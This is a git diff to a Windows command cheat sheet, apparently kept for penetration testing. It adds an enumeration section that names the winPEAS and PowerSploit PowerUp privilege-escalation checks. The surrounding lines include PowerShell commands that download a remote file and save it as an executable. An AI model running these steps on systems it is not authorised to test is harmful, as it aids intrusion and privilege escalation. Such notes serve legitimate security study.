diff --git a/Cheat Sheet.md b/Cheat Sheet.md index 29ba4ec..ac299b1 100644 --- a/Cheat Sheet.md +++ b/Cheat Sheet.md @@ -275,6 +275,12 @@ dir /a:h `show only hidden files`
`powershell -c "wget http://:/" -outfile output.exe`
`powershell Invoke-WebRequest -Uri $ip -OutFile $filepath` +## Enumeration + +* Running `winPEAS.exe` on the machine +* Running `PowerUp.ps1` (https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc) , documentation https://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/ `. .\PowerUp.ps1` Then `Invoke-AllChecks` + + ## List Drives `wmic logicaldisk get caption`